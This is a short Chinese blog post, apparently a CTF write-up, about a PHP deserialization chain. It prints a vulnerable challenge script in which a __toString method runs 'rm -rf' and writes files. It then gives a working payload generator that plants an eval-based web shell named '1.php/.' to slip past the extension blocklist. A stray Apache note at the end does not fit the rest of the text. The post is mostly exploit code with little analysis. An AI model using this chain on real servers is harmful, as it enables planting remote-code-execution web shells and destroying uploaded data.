PHP反序列化+魔法函数__string+绕过扩展名

迷南。 2022-09-16 01:26 148阅读 0赞

# php源码 #

<?php
    highlight_file(__FILE__);
    class OhYouFindIt{
        
        public $content = "Hello Hacker.<br>";
        function __destruct(){
        
            echo $this->content;
        }
    }
    class writeshell{
        
        public $filename;
        public $content;
        function __toString()
        {
        
            if(!in_array(pathinfo($this->filename, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        
                system('rm -rf ../upload/*');
                file_put_contents("../upload/".$this->filename, $this->content);
                echo "ok~ You File is"."../upload/".$this->filename;
            }else{
        
                exit("Go Way Hacker");
            }
            return "";
        }
    }
    
    
    $content = $_GET['content'];
    if (!isset($content))
    {
        
        $a = new OhYouFindIt();
    }else{
        
        unserialize(base64_decode($content));
    }
    ?>

# 生成序列化数据 #

<?php
    class OhYouFindIt{
        
        public $content = "Hello Hacker.<br>";
        function __destruct(){
        
            echo $this->content;
        }
    }
    class writeshell{
        
        public $filename;
        public $content;
        function __toString()
        {
        
            if(!in_array(pathinfo($this->filename, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        
                system('rm -rf ../upload/*');
                file_put_contents("../upload/".$this->filename, $this->content);
                echo "ok~ You File is"."../upload/".$this->filename;
            }else{
        
                exit("Go Way Hacker");
            }
            return "";
        }
    }
    
    $m = new writeshell();
    $m->filename = "1.php/.";
    $m->content = 'GIF89a<?php eval($_GET[\'a\']);';
    $o = new OhYouFindIt();
    $o->content = $m;
    $payload = base64_encode(serialize($o));
    echo $payload;
    //unserialize(base64_decode($payload));

其中，为了触发`__string`魔法函数调用，要通过`OhYouFindIt`调用`echo`。  
`/.`可以绕过扩展名过滤，在服务器上生成`1.php`。

注意: 在 Apache 2 里，必须设置 `UseCanonicalName = On` 和 `ServerName`。 否则该值会由客户端提供，就有可能被伪造。 上下文有安全性要求的环境里，不应该依赖此值。

参考：https://redmango.top/article/64